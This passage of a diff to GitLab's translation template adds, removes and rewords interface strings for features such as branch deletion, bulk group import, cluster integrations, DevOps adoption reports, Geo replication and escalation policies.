+msgid "Branches|Deleting the %{strongStart}%{branchName}%{strongEnd} branch cannot be undone. Are you sure?"
+msgstr ""
+
msgid "Branches|Deleting the '%{branch_name}' branch cannot be undone. Are you sure?"
msgstr ""
@@ -5443,12 +5557,18 @@ msgstr ""
msgid "Branches|Once you confirm and press %{delete_protected_branch}, it cannot be undone or recovered."
msgstr ""
+msgid "Branches|Once you confirm and press %{strongStart}%{buttonText},%{strongEnd} it cannot be undone or recovered."
+msgstr ""
+
msgid "Branches|Only a project maintainer or owner can delete a protected branch"
msgstr ""
msgid "Branches|Overview"
msgstr ""
+msgid "Branches|Please type the following to confirm:"
+msgstr ""
+
msgid "Branches|Protected branches can be managed in %{project_settings_link}."
msgstr ""
@@ -5482,6 +5602,9 @@ msgstr ""
msgid "Branches|The default branch cannot be deleted"
msgstr ""
+msgid "Branches|This branch hasn’t been merged into %{defaultBranchName}. To avoid data loss, consider merging this branch before deleting it."
+msgstr ""
+
msgid "Branches|This branch hasn’t been merged into %{default_branch}."
msgstr ""
@@ -5494,6 +5617,18 @@ msgstr ""
msgid "Branches|To discard the local changes and overwrite the branch with the upstream version, delete it here and choose 'Update Now' above."
msgstr ""
+msgid "Branches|Yes, delete branch"
+msgstr ""
+
+msgid "Branches|Yes, delete protected branch"
+msgstr ""
+
+msgid "Branches|You're about to permanently delete the branch %{strongStart}%{branchName}.%{strongEnd}"
+msgstr ""
+
+msgid "Branches|You're about to permanently delete the protected branch %{strongStart}%{branchName}.%{strongEnd}"
+msgstr ""
+
msgid "Branches|You’re about to permanently delete the protected branch %{branch_name}."
msgstr ""
@@ -5563,6 +5698,9 @@ msgstr ""
msgid "BulkImport|From source group"
msgstr ""
+msgid "BulkImport|Import %{groups}"
+msgstr ""
+
msgid "BulkImport|Import failed: Destination cannot be a subgroup of the source group. Change the destination and try again."
msgstr ""
@@ -5575,9 +5713,15 @@ msgstr ""
msgid "BulkImport|Name already exists."
msgstr ""
+msgid "BulkImport|No groups on this page are available for import"
+msgstr ""
+
msgid "BulkImport|No parent"
msgstr ""
+msgid "BulkImport|One or more groups has validation errors"
+msgstr ""
+
msgid "BulkImport|Showing %{start}-%{end} of %{total}"
msgstr ""
@@ -5644,9 +5788,6 @@ msgstr ""
msgid "By authenticating with an account tied to an Enterprise e-mail address, it is understood that this account is an Enterprise User. "
msgstr ""
-msgid "By clicking Register, I agree that I have read and accepted the %{company_name} %{linkStart}Terms of Use and Privacy Policy%{linkEnd}"
-msgstr ""
-
msgid "By default GitLab sends emails in HTML and plain text formats so mail clients can choose what format to use. Disable this option if you only want to send emails in plain text format."
msgstr ""
@@ -5695,15 +5836,15 @@ msgstr ""
msgid "CI/CD configuration file"
msgstr ""
-msgid "CI/CD for external repo"
-msgstr ""
-
msgid "CICDAnalytics|%{percent}%{percentSymbol}"
msgstr ""
msgid "CICDAnalytics|All time"
msgstr ""
+msgid "CICDAnalytics|Deployment frequency"
+msgstr ""
+
msgid "CICDAnalytics|Projects with releases"
msgstr ""
@@ -5713,6 +5854,9 @@ msgstr[0] ""
msgstr[1] ""
msgstr[2] ""
+msgid "CICDAnalytics|Release statistics"
+msgstr ""
+
msgid "CICDAnalytics|Releases"
msgstr ""
@@ -6406,7 +6550,7 @@ msgstr ""
msgid "Choose File..."
msgstr ""
-msgid "Choose a branch/tag (e.g. %{master}) or enter a commit (e.g. %{sha}) to see what's changed or to create a merge request."
+msgid "Choose a branch/tag (e.g. %{branch}) or enter a commit (e.g. %{sha}) to see what's changed or to create a merge request."
msgstr ""
msgid "Choose a file"
@@ -6790,72 +6934,6 @@ msgstr ""
msgid "Cloud licenses can not be removed."
msgstr ""
-msgid "CloudLicense|Activate"
-msgstr ""
-
-msgid "CloudLicense|Activate subscription"
-msgstr ""
-
-msgid "CloudLicense|Activation code"
-msgstr ""
-
-msgid "CloudLicense|Billable users"
-msgstr ""
-
-msgid "CloudLicense|Buy subscription"
-msgstr ""
-
-msgid "CloudLicense|Free trial"
-msgstr ""
-
-msgid "CloudLicense|Get help for the most common connectivity issues by %{linkStart}troubleshooting the activation code%{linkEnd}."
-msgstr ""
-
-msgid "CloudLicense|I agree that my use of the GitLab Software is subject to the Subscription Agreement located at the %{linkStart}Terms of Service%{linkEnd}, unless otherwise agreed to in writing with GitLab."
-msgstr ""
-
-msgid "CloudLicense|Learn how to %{linkStart}activate your subscription%{linkEnd}."
-msgstr ""
-
-msgid "CloudLicense|Maximum users"
-msgstr ""
-
-msgid "CloudLicense|Paste your activation code"
-msgstr ""
-
-msgid "CloudLicense|Ready to get started? A GitLab plan is ideal for scaling organizations and for multi team usage."
-msgstr ""
-
-msgid "CloudLicense|Start free trial"
-msgstr ""
-
-msgid "CloudLicense|Subscription"
-msgstr ""
-
-msgid "CloudLicense|This is the highest peak of users on your installation since the license started."
-msgstr ""
-
-msgid "CloudLicense|This is the number of %{billableUsersLinkStart}billable users%{billableUsersLinkEnd} on your installation, and this is the minimum number you need to purchase when you renew your license."
-msgstr ""
-
-msgid "CloudLicense|To activate your subscription, connect to GitLab servers through the %{linkStart}Cloud Sync service%{linkEnd}, a hassle-free way to manage your subscription."
-msgstr ""
-
-msgid "CloudLicense|Users in subscription"
-msgstr ""
-
-msgid "CloudLicense|Users over subscription"
-msgstr ""
-
-msgid "CloudLicense|Users with a Guest role or those who don't belong to a Project or Group will not use a seat from your license."
-msgstr ""
-
-msgid "CloudLicense|You can start a free trial of GitLab Ultimate without any obligation or payment details."
-msgstr ""
-
-msgid "CloudLicense|You'll be charged for %{trueUpLinkStart}users over license%{trueUpLinkEnd} on a quarterly or annual basis, depending on the terms of your agreement."
-msgstr ""
-
msgid "Cluster"
msgstr ""
@@ -7018,6 +7096,12 @@ msgstr ""
msgid "ClusterIntegration|Allow GitLab to manage namespaces and service accounts for this cluster."
msgstr ""
+msgid "ClusterIntegration|Allows GitLab to query a specifically configured in-cluster Elasticsearch for pod logs."
+msgstr ""
+
+msgid "ClusterIntegration|Allows GitLab to query a specifically configured in-cluster Prometheus for metrics."
+msgstr ""
+
msgid "ClusterIntegration|Alternatively, "
msgstr ""
@@ -7060,12 +7144,6 @@ msgstr ""
msgid "ClusterIntegration|Base domain"
msgstr ""
-msgid "ClusterIntegration|Before you enable this integration, follow the %{link_start}documented process%{link_end}."
-msgstr ""
-
-msgid "ClusterIntegration|Blocking mode"
-msgstr ""
-
msgid "ClusterIntegration|CA Certificate"
msgstr ""
@@ -7228,6 +7306,9 @@ msgstr ""
msgid "ClusterIntegration|Enable Cloud Run for Anthos"
msgstr ""
+msgid "ClusterIntegration|Enable Elastic Stack integration"
+msgstr ""
+
msgid "ClusterIntegration|Enable Prometheus integration"
msgstr ""
@@ -7312,9 +7393,6 @@ msgstr ""
msgid "ClusterIntegration|GitLab-managed cluster"
msgstr ""
-msgid "ClusterIntegration|Global default"
-msgstr ""
-
msgid "ClusterIntegration|Google Cloud Platform project"
msgstr ""
@@ -7375,7 +7453,7 @@ msgstr ""
msgid "ClusterIntegration|Integration enabled"
msgstr ""
-msgid "ClusterIntegration|Integrations enable you to integrate your cluster as part of your GitLab workflow."
+msgid "ClusterIntegration|Integrations allow you to use applications installed in your cluster as part of your GitLab workflow."
msgstr ""
msgid "ClusterIntegration|Issuer Email"
@@ -7471,9 +7549,6 @@ msgstr ""
msgid "ClusterIntegration|Loading subnetworks"
msgstr ""
-msgid "ClusterIntegration|Logging mode"
-msgstr ""
-
msgid "ClusterIntegration|Machine type"
msgstr ""
@@ -7486,9 +7561,6 @@ msgstr ""
msgid "ClusterIntegration|Manage your Kubernetes cluster by visiting %{provider_link}"
msgstr ""
-msgid "ClusterIntegration|ModSecurity enabled"
-msgstr ""
-
msgid "ClusterIntegration|Namespace per environment"
msgstr ""
@@ -7585,9 +7657,6 @@ msgstr ""
msgid "ClusterIntegration|Read our %{link_start}help page%{link_end} on Kubernetes cluster integration."
msgstr ""
-msgid "ClusterIntegration|Real-time web application monitoring, logging and access control. %{linkStart}More information%{linkEnd}"
-msgstr ""
-
msgid "ClusterIntegration|Remove Kubernetes cluster integration"
msgstr ""
@@ -7726,9 +7795,6 @@ msgstr ""
msgid "ClusterIntegration|Send Container Network Policies Logs"
msgstr ""
-msgid "ClusterIntegration|Send Web Application Firewall Logs"
-msgstr ""
-
msgid "ClusterIntegration|Service Token"
msgstr ""
@@ -7741,9 +7807,6 @@ msgstr ""
msgid "ClusterIntegration|Set a prefix for your namespaces. If not set, defaults to your project path. If modified, existing environments will use their current namespaces until the cluster cache is cleared."
msgstr ""
-msgid "ClusterIntegration|Set the global mode for the WAF in this cluster. This can be overridden at the environmental level."
-msgstr ""
-
msgid "ClusterIntegration|Something went wrong on our end."
msgstr ""
@@ -8017,6 +8080,15 @@ msgstr ""
msgid "CodeOwner|Pattern"
msgstr ""
+msgid "CodeQuality|Code quality"
+msgstr ""
+
+msgid "CodeQuality|New code quality degradations in this file"
+msgstr ""
+
+msgid "CodeQuality|Some changes in this file degrade the code quality."
+msgstr ""
+
msgid "Cohorts|Inactive users"
msgstr ""
@@ -8161,6 +8233,9 @@ msgstr ""
msgid "CommitMessage|Add %{file_name}"
msgstr ""
+msgid "CommitMessage|Add %{file_name} and create a code quality job"
+msgstr ""
+
msgid "CommitWidget|authored"
msgstr ""
@@ -8299,9 +8374,6 @@ msgstr ""
msgid "Compliance framework"
msgstr ""
-msgid "Compliance framework (optional)"
-msgstr ""
-
msgid "Compliance framework (optional)"
msgstr ""
@@ -8422,6 +8494,9 @@ msgstr ""
msgid "Configuration"
msgstr ""
+msgid "Configuration help"
+msgstr ""
+
msgid "Configure GitLab runners to start using the Web Terminal. %{helpStart}Learn more.%{helpEnd}"
msgstr ""
@@ -8485,6 +8560,9 @@ msgstr ""
msgid "Configure repository mirroring."
msgstr ""
+msgid "Configure settings for Advanced Search with Elasticsearch."
+msgstr ""
+
msgid "Configure specific limits for Packages API requests that supersede the general user and IP rate limits."
msgstr ""
@@ -8644,6 +8722,9 @@ msgstr ""
msgid "ContainerRegistry|%{title} was successfully scheduled for deletion"
msgstr ""
+msgid "ContainerRegistry|-- tags"
+msgstr ""
+
msgid "ContainerRegistry|Build an image"
msgstr ""
@@ -9325,9 +9406,6 @@ msgstr ""
msgid "Create Project"
msgstr ""
-msgid "Create Value Stream"
-msgstr ""
-
msgid "Create a GitLab account first, and then connect it to your %{label} account."
msgstr ""
@@ -9358,9 +9436,6 @@ msgstr ""
msgid "Create a personal access token on your account to pull or push via %{protocol}."
msgstr ""
-msgid "Create a project pre-populated with the necessary files to get you started quickly."
-msgstr ""
-
msgid "Create an account using:"
msgstr ""
@@ -9412,6 +9487,9 @@ msgstr ""
msgid "Create group label"
msgstr ""
+msgid "Create incident"
+msgstr ""
+
msgid "Create issue"
msgstr ""
@@ -9463,6 +9541,9 @@ msgstr ""
msgid "Create new label"
msgstr ""
+msgid "Create new project"
+msgstr ""
+
msgid "Create new..."
msgstr ""
@@ -9496,6 +9577,9 @@ msgstr ""
msgid "Create your group"
msgstr ""
+msgid "Create your own profile to collaborate with your teammates in issues, merge requests, and more."
+msgstr ""
+
msgid "Create/import your first project"
msgstr ""
@@ -9823,27 +9907,6 @@ msgstr ""
msgid "Custom range (UTC)"
msgstr ""
-msgid "CustomCycleAnalytics|Add a stage"
-msgstr ""
-
-msgid "CustomCycleAnalytics|Add stage"
-msgstr ""
-
-msgid "CustomCycleAnalytics|Editing stage"
-msgstr ""
-
-msgid "CustomCycleAnalytics|End event label"
-msgstr ""
-
-msgid "CustomCycleAnalytics|New stage"
-msgstr ""
-
-msgid "CustomCycleAnalytics|Stage name already exists"
-msgstr ""
-
-msgid "CustomCycleAnalytics|Start event label"
-msgstr ""
-
msgid "Customer Portal"
msgstr ""
@@ -10066,9 +10129,15 @@ msgstr ""
msgid "DAG visualization requires at least 3 dependent jobs."
msgstr ""
+msgid "DAST Configuration"
+msgstr ""
+
msgid "DAST Scans"
msgstr ""
+msgid "DAST Settings"
+msgstr ""
+
msgid "DNS"
msgstr ""
@@ -10288,9 +10357,6 @@ msgstr ""
msgid "DastProfiles|Password form field"
msgstr ""
-msgid "DastProfiles|Please enter a valid timeout value"
-msgstr ""
-
msgid "DastProfiles|Profile name"
msgstr ""
@@ -10657,6 +10723,9 @@ msgstr ""
msgid "Delete Comment"
msgstr ""
+msgid "Delete Key"
+msgstr ""
+
msgid "Delete Value Stream"
msgstr ""
@@ -11380,22 +11449,28 @@ msgstr ""
msgid "DevopsAdoption|Are you sure that you would like to remove %{name} from the table?"
msgstr ""
-msgid "DevopsAdoption|At least 1 MR opened"
+msgid "DevopsAdoption|At least one MR opened"
msgstr ""
-msgid "DevopsAdoption|At least 1 approval on an MR"
+msgid "DevopsAdoption|At least one approval on an MR"
msgstr ""
-msgid "DevopsAdoption|At least 1 deploy"
+msgid "DevopsAdoption|At least one deploy"
msgstr ""
-msgid "DevopsAdoption|At least 1 issue opened"
+msgid "DevopsAdoption|At least one issue opened"
msgstr ""
-msgid "DevopsAdoption|At least 1 pipeline successfully run"
+msgid "DevopsAdoption|At least one pipeline successfully run"
msgstr ""
-msgid "DevopsAdoption|At least 1 security scan of any type run in pipeline"
+msgid "DevopsAdoption|At least one security scan of any type run in pipeline"
+msgstr ""
+
+msgid "DevopsAdoption|Code owners"
+msgstr ""
+
+msgid "DevopsAdoption|Code owners enabled for at least one project"
msgstr ""
msgid "DevopsAdoption|Confirm remove Group"
@@ -11404,6 +11479,9 @@ msgstr ""
msgid "DevopsAdoption|Deploys"
msgstr ""
+msgid "DevopsAdoption|Dev"
+msgstr ""
+
msgid "DevopsAdoption|DevOps adoption tracks the use of key features across your favorite groups. Add a group to the table to begin."
msgstr ""
@@ -11431,6 +11509,9 @@ msgstr ""
msgid "DevopsAdoption|Not adopted"
msgstr ""
+msgid "DevopsAdoption|Ops"
+msgstr ""
+
msgid "DevopsAdoption|Pipelines"
msgstr ""
@@ -11452,6 +11533,9 @@ msgstr ""
msgid "DevopsAdoption|Scanning"
msgstr ""
+msgid "DevopsAdoption|Sec"
+msgstr ""
+
msgid "DevopsAdoption|There was an error enabling the current group. Please refresh the page."
msgstr ""
@@ -11464,21 +11548,33 @@ msgstr ""
msgid "DevopsAdoption|You cannot remove the group you are currently in."
msgstr ""
-msgid "DevopsReport|Adoption"
+msgid "DevopsReport|DevOps Score"
msgstr ""
-msgid "DevopsReport|DevOps"
+msgid "DevopsReport|DevOps score metrics are based on usage over the last 30 days. Last updated: %{timestamp}."
msgstr ""
-msgid "DevopsReport|DevOps Score"
+msgid "DevopsReport|High"
msgstr ""
-msgid "DevopsReport|DevOps score metrics are based on usage over the last 30 days. Last updated: %{timestamp}."
+msgid "DevopsReport|Leader usage"
+msgstr ""
+
+msgid "DevopsReport|Low"
+msgstr ""
+
+msgid "DevopsReport|Moderate"
msgstr ""
msgid "DevopsReport|Score"
msgstr ""
+msgid "DevopsReport|Your score"
+msgstr ""
+
+msgid "DevopsReport|Your usage"
+msgstr ""
+
msgid "Didn't receive a confirmation email?"
msgstr ""
@@ -11545,15 +11641,15 @@ msgstr ""
msgid "Disable public access to Pages sites"
msgstr ""
-msgid "Disable shared runners"
-msgstr ""
-
msgid "Disable two-factor authentication"
msgstr ""
msgid "Disabled"
msgstr ""
+msgid "Disabled by %{parent} owner"
+msgstr ""
+
msgid "Disabled mirrors can only be enabled by instance owners. It is recommended that you delete them."
msgstr ""
@@ -11581,6 +11677,9 @@ msgstr ""
msgid "DiscordService|Send notifications about project events to a Discord channel."
msgstr ""
+msgid "Discover"
+msgstr ""
+
msgid "Discover GitLab Geo"
msgstr ""
@@ -11809,7 +11908,7 @@ msgstr ""
msgid "Draft merge requests can't be merged."
msgstr ""
-msgid "Drop or %{linkStart}upload%{linkEnd} designs to attach"
+msgid "Drag your designs here or %{linkStart}click to upload%{linkEnd}."
msgstr ""
msgid "Drop or %{linkStart}upload%{linkEnd} file to attach"
@@ -11824,6 +11923,24 @@ msgstr ""
msgid "Drop your files to start your upload."
msgstr ""
+msgid "DropdownWidget|An error occurred while fetching the assigned %{issuableAttribute} of the selected %{issuableType}."
+msgstr ""
+
+msgid "DropdownWidget|Assign %{issuableAttribute}"
+msgstr ""
+
+msgid "DropdownWidget|Failed to fetch the %{issuableAttribute} for this %{issuableType}. Please try again."
+msgstr ""
+
+msgid "DropdownWidget|Failed to set %{issuableAttribute} on this %{issuableType}. Please try again."
+msgstr ""
+
+msgid "DropdownWidget|No %{issuableAttribute}"
+msgstr ""
+
+msgid "DropdownWidget|No %{issuableAttribute} found"
+msgstr ""
+
msgid "Due Date"
msgstr ""
@@ -11833,9 +11950,6 @@ msgstr ""
msgid "Duration"
msgstr ""
-msgid "Duration for the last 30 commits"
-msgstr ""
-
msgid "During this process, you’ll be asked for URLs from GitLab’s side. Use the URLs shown below."
msgstr ""
@@ -11950,9 +12064,6 @@ msgstr ""
msgid "Edit sidebar"
msgstr ""
-msgid "Edit stage"
-msgstr ""
-
msgid "Edit this file only."
msgstr ""
@@ -12007,6 +12118,9 @@ msgstr ""
msgid "Elasticsearch reindexing triggered"
msgstr ""
+msgid "Elasticsearch reindexing was not started: %{errors}"
+msgstr ""
+
msgid "Elasticsearch returned status code: %{status_code}"
msgstr ""
@@ -12136,13 +12250,13 @@ msgstr ""
msgid "Embed"
msgstr ""
-msgid "Empty file"
+msgid "Embed an image of your existing Jaeger server in GitLab."
msgstr ""
-msgid "Enable"
+msgid "Empty file"
msgstr ""
-msgid "Enable %{linkStart}Gitpod%{linkEnd} integration to launch a development environment in your browser directly from GitLab."
+msgid "Enable"
msgstr ""
msgid "Enable Auto DevOps"
@@ -12220,6 +12334,9 @@ msgstr ""
msgid "Enable authenticated API request rate limit"
msgstr ""
+msgid "Enable authentication"
+msgstr ""
+
msgid "Enable automatic repository housekeeping (git repack, git gc)"
msgstr ""
@@ -12265,9 +12382,6 @@ msgstr ""
msgid "Enable or disable Seat Link."
msgstr ""
-msgid "Enable or disable keyboard shortcuts"
-msgstr ""
-
msgid "Enable or disable the Pseudonymizer data collection."
msgstr ""
@@ -12289,9 +12403,6 @@ msgstr ""
msgid "Enable reCAPTCHA, Invisible Captcha, Akismet and set IP limits. For reCAPTCHA, we currently only support %{recaptcha_v2_link_start}v2%{recaptcha_v2_link_end}"
msgstr ""
-msgid "Enable shared runners"
-msgstr ""
-
msgid "Enable shared runners for all projects and subgroups in this group."
msgstr ""
@@ -12961,9 +13072,6 @@ msgstr ""
msgid "Error occurred when saving reviewers"
msgstr ""
-msgid "Error occurred when toggling the notification subscription"
-msgstr ""
-
msgid "Error occurred while updating the issue status"
msgstr ""
@@ -12976,12 +13084,18 @@ msgstr ""
msgid "Error occurred. A blocked user must be unblocked to be activated"
msgstr ""
+msgid "Error occurred. User was not banned"
+msgstr ""
+
msgid "Error occurred. User was not blocked"
msgstr ""
msgid "Error occurred. User was not confirmed"
msgstr ""
+msgid "Error occurred. User was not unbanned"
+msgstr ""
+
msgid "Error occurred. User was not unblocked"
msgstr ""
@@ -13090,6 +13204,54 @@ msgstr ""
msgid "Errors:"
msgstr ""
+msgid "Escalation Policies"
+msgstr ""
+
+msgid "Escalation policies"
+msgstr ""
+
+msgid "Escalation policies are not supported for this project"
+msgstr ""
+
+msgid "EscalationPolicies|+ Add an additional rule"
+msgstr ""
+
+msgid "EscalationPolicies|A schedule is required for adding an escalation policy."
+msgstr ""
+
+msgid "EscalationPolicies|Add an escalation policy"
+msgstr ""
+
+msgid "EscalationPolicies|Add escalation policy"
+msgstr ""
+
+msgid "EscalationPolicies|Create an escalation policy in GitLab"
+msgstr ""
+
+msgid "EscalationPolicies|Edit escalation policy"
+msgstr ""
+
+msgid "EscalationPolicies|Email on-call user in schedule"
+msgstr ""
+
+msgid "EscalationPolicies|Escalation rules"
+msgstr ""
+
+msgid "EscalationPolicies|Failed to load oncall-schedules"
+msgstr ""
+
+msgid "EscalationPolicies|IF alert is not %{alertStatus} in %{minutes} minutes"
+msgstr ""
+
+msgid "EscalationPolicies|Select schedule"
+msgstr ""
+
+msgid "EscalationPolicies|Set up escalation policies to define who is paged, and when, in the event the first users paged don't respond."
+msgstr ""
+
+msgid "EscalationPolicies|THEN %{doAction} %{schedule}"
+msgstr ""
+
msgid "Estimate"
msgstr ""
@@ -13151,7 +13313,10 @@ msgid "Every two weeks"
msgstr ""
msgid "Every week"
-msgstr ""
+msgid_plural "Every %d weeks"
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
msgid "Every week (%{weekday} at %{time})"
msgstr ""
@@ -13795,6 +13960,9 @@ msgstr ""
msgid "FeatureFlags|Feature Flag User List Details"
msgstr ""
+msgid "FeatureFlags|Feature Flag User Lists"
+msgstr ""
+
msgid "FeatureFlags|Feature Flag behavior is built up by creating a set of rules to define the status of target environments. A default wildcard rule %{codeStart}*%{codeEnd} for %{boldStart}All Environments%{boldEnd} is set, and you are able to add as many rules as you need by choosing environment specs below. You can toggle the behavior for each of your rules to set them %{boldStart}Active%{boldEnd} or %{boldStart}Inactive%{boldEnd}."
msgstr ""
@@ -13819,9 +13987,6 @@ msgstr ""
msgid "FeatureFlags|Get started with feature flags"
msgstr ""
-msgid "FeatureFlags|Get started with user lists"
-msgstr ""
-
msgid "FeatureFlags|GitLab is moving to a new way of managing feature flags. This feature flag is read-only, and it will be removed in 14.0. Please create a new feature flag."
msgstr ""
@@ -13849,9 +14014,6 @@ msgstr ""
msgid "FeatureFlags|Loading feature flags"
msgstr ""
-msgid "FeatureFlags|Loading user lists"
-msgstr ""
-
msgid "FeatureFlags|More information"
msgstr ""
@@ -13870,9 +14032,6 @@ msgstr ""
msgid "FeatureFlags|New feature flag"
msgstr ""
-msgid "FeatureFlags|New user list"
-msgstr ""
-
msgid "FeatureFlags|No user list selected"
msgstr ""
@@ -13915,9 +14074,6 @@ msgstr ""
msgid "FeatureFlags|There was an error fetching the feature flags."
msgstr ""
-msgid "FeatureFlags|There was an error fetching the user lists."
-msgstr ""
-
msgid "FeatureFlags|To prevent accidental actions we ask you to confirm your intention. Please type %{projectName} to proceed or close this modal to cancel."
msgstr ""
@@ -13933,7 +14089,7 @@ msgstr ""
msgid "FeatureFlags|User Lists"
msgstr ""
-msgid "FeatureFlags|User lists allow you to define a set of users to use with Feature Flags."
+msgid "FeatureFlags|View user lists"
msgstr ""
msgid "FeatureFlag|Percentage"
@@ -14185,6 +14341,15 @@ msgstr ""
msgid "Flags"
msgstr ""
+msgid "FloC|Configure whether you want to participate in FloC."
+msgstr ""
+
+msgid "FloC|Enable FloC (Federated Learning of Cohorts)"
+msgstr ""
+
+msgid "FloC|Federated Learning of Cohorts"
+msgstr ""
+
msgid "FlowdockService|1b609b52537..."
msgstr ""
@@ -14290,6 +14455,9 @@ msgstr ""
msgid "ForkProject|A fork is a copy of a project."
msgstr ""
+msgid "ForkProject|An error occurred while forking the project. Please try again."
+msgstr ""
+
msgid "ForkProject|Cancel"
msgstr ""
@@ -14308,6 +14476,9 @@ msgstr ""
msgid "ForkProject|Please select a namespace"
msgstr ""
+msgid "ForkProject|Please select a visibility level"
+msgstr ""
+
msgid "ForkProject|Private"
msgstr ""
@@ -14335,6 +14506,15 @@ msgstr ""
msgid "ForkProject|Want to house several dependent projects under the same namespace?"
msgstr ""
+msgid "ForkSuggestion|Cancel"
+msgstr ""
+
+msgid "ForkSuggestion|Fork"
+msgstr ""
+
+msgid "ForkSuggestion|You can’t %{edit_start}edit%{edit_end} files directly in this project. Fork this project and submit a merge request with your changes."
+msgstr ""
+
msgid "ForkedFromProjectPath|Forked from"
msgstr ""
@@ -14602,6 +14782,9 @@ msgstr ""
msgid "Geo|%{component} synced"
msgstr ""
+msgid "Geo|%{component} verified"
+msgstr ""
+
msgid "Geo|%{itemTitle} checksum progress"
msgstr ""
@@ -14629,6 +14812,9 @@ msgstr ""
msgid "Geo|%{title} checksum progress"
msgstr ""
+msgid "Geo|(%{timeAgo})"
+msgstr ""
+
msgid "Geo|Add site"
msgstr ""
@@ -14656,6 +14842,9 @@ msgstr ""
msgid "Geo|Allowed Geo IP should contain valid IP addresses"
msgstr ""
+msgid "Geo|Checksummed"
+msgstr ""
+
msgid "Geo|Connection timeout can't be blank"
msgstr ""
@@ -14680,6 +14869,9 @@ msgstr ""
msgid "Geo|Data type"
msgstr ""
+msgid "Geo|Disabled"
+msgstr ""
+
msgid "Geo|Discover GitLab Geo"
msgstr ""
@@ -14707,6 +14899,9 @@ msgstr ""
msgid "Geo|Go to the primary site"
msgstr ""
+msgid "Geo|Healthy"
+msgstr ""
+
msgid "Geo|If you want to make changes, you must visit the primary site."
msgstr ""
@@ -14752,6 +14947,9 @@ msgstr ""
msgid "Geo|Next sync scheduled at"
msgstr ""
+msgid "Geo|No available replication slots"
+msgstr ""
+
msgid "Geo|Node name can't be blank"
msgstr ""
@@ -14764,10 +14962,16 @@ msgstr ""
msgid "Geo|Not synced yet"
msgstr ""
+msgid "Geo|Nothing to checksum"
+msgstr ""
+
msgid "Geo|Nothing to synchronize"
msgstr ""
-msgid "Geo|Number of %{title}"
+msgid "Geo|Nothing to verify"
+msgstr ""
+
+msgid "Geo|Offline"
msgstr ""
msgid "Geo|Pending synchronization"
@@ -14932,6 +15136,12 @@ msgstr ""
msgid "Geo|Undefined"
msgstr ""
+msgid "Geo|Unhealthy"
+msgstr ""
+
+msgid "Geo|Unknown"
+msgstr ""
+
msgid "Geo|Unknown state"
msgstr ""
@@ -14944,10 +15154,13 @@ msgstr ""
msgid "Geo|Verification failed - %{error}"
msgstr ""
+msgid "Geo|Verification information"
+msgstr ""
+
msgid "Geo|Verification status"
msgstr ""
-msgid "Geo|Verificaton information"
+msgid "Geo|Verified"
msgstr ""
msgid "Geo|Waiting for scheduler"
@@ -15193,9 +15406,6 @@ msgstr ""
msgid "GitLabPages|GitLab Pages are disabled for this project. You can enable them on your project's %{strong_start}Settings &gt; General &gt; Visibility%{strong_end} page."
msgstr ""
-msgid "GitLabPages|It may take up to 30 minutes before the site is available after the first deployment."
-msgstr ""
-
msgid "GitLabPages|Maximum size of pages (MB)"
msgstr ""
@@ -15292,16 +15502,19 @@ msgstr ""
msgid "Gitpod"
msgstr ""
-msgid "Gitpod|Add the URL to your Gitpod instance configured to read your GitLab projects."
-msgstr ""
-
msgid "Gitpod|Enable Gitpod integration"
msgstr ""
msgid "Gitpod|Gitpod URL"
msgstr ""
-msgid "Gitpod|e.g. https://gitpod.example.com"
+msgid "Gitpod|The URL to your Gitpod instance configured to read your GitLab projects, such as https://gitpod.example.com."
+msgstr ""
+
+msgid "Gitpod|To use the integration, each user must also enable Gitpod on their GitLab account. %{link_start}How do I enable it?%{link_end} "
+msgstr ""
+
+msgid "Gitpod|https://gitpod.example.com"
msgstr ""
msgid "Given access %{time_ago}"
@@ -15334,9 +15547,6 @@ msgstr ""
msgid "Go full screen"
msgstr ""
-msgid "Go to Webhooks"
-msgstr ""
-
msgid "Go to commits"
msgstr ""
@@ -15391,6 +15601,9 @@ msgstr ""
msgid "Go to previous page"
msgstr ""
+msgid "Go to primary node"
+msgstr ""
+
msgid "Go to project"
msgstr ""
@@ -15469,7 +15682,7 @@ msgstr ""
msgid "GrafanaIntegration|Active"
msgstr ""
-msgid "GrafanaIntegration|Enter the Grafana API token."
+msgid "GrafanaIntegration|Enter the %{docLinkStart}Grafana API token%{docLinkEnd}."
msgstr ""
msgid "GrafanaIntegration|Enter the base URL of the Grafana instance."
@@ -15583,6 +15796,9 @@ msgstr ""
msgid "Group info:"
msgstr ""
+msgid "Group information"
+msgstr ""
+
msgid "Group is required when cluster_type is :group"
msgstr ""
@@ -15643,6 +15859,9 @@ msgstr ""
msgid "Group runners can be managed with the %{link}."
msgstr ""
+msgid "Group sharing provides access to all group members (including members who inherited group membership from a parent group)."
+msgstr ""
+
msgid "Group variables (inherited)"
msgstr ""
@@ -15664,13 +15883,16 @@ msgstr ""
msgid "GroupActivityMetrics|Issues opened"
msgstr ""
+msgid "GroupActivityMetrics|Last 90 days"
+msgstr ""
+
msgid "GroupActivityMetrics|Members added"
msgstr ""
msgid "GroupActivityMetrics|Merge Requests opened"
msgstr ""
-msgid "GroupActivityMetrics|Recent activity (last 90 days)"
+msgid "GroupActivityMetrics|Recent activity"
msgstr ""
msgid "GroupImport|Failed to import group."
@@ -15733,6 +15955,9 @@ msgstr ""
msgid "GroupRoadmap|To widen your search, change or remove filters; from %{startDate} to %{endDate}."
msgstr ""
+msgid "GroupSAML|%{strongOpen}Warning%{strongClose} - Enabling %{linkStart}SSO enforcement%{linkEnd} can reduce security risks."
+msgstr ""
+
msgid "GroupSAML|Active SAML Group Links (%{count})"
msgstr ""
@@ -16051,9 +16276,6 @@ msgstr ""
msgid "Groups and subgroups"
msgstr ""
-msgid "Groups can also be nested by creating %{subgroup_docs_link_start}subgroups%{subgroup_docs_link_end}."
-msgstr ""
-
msgid "Groups to synchronize"
msgstr ""
@@ -16090,22 +16312,31 @@ msgstr ""
msgid "GroupsEmptyState|You can manage your group member’s permissions and access to each project in the group."
msgstr ""
+msgid "GroupsNew|%{linkStart}Groups%{linkEnd} allow you to manage and collaborate across multiple projects. Members of a group have access to all of its projects. Groups can also be nested by creating subgroups."
+msgstr ""
+
+msgid "GroupsNew|Assemble related projects together and grant members access to several projects at once."
+msgstr ""
+
msgid "GroupsNew|Connect instance"
msgstr ""
msgid "GroupsNew|Contact an administrator to enable options for importing your group."
msgstr ""
-msgid "GroupsNew|Create"
+msgid "GroupsNew|Create group"
msgstr ""
-msgid "GroupsNew|Create group"
+msgid "GroupsNew|Create new group"
+msgstr ""
+
+msgid "GroupsNew|Export groups with all their related data and move to a new GitLab instance."
msgstr ""
msgid "GroupsNew|GitLab source URL"
msgstr ""
-msgid "GroupsNew|Import"
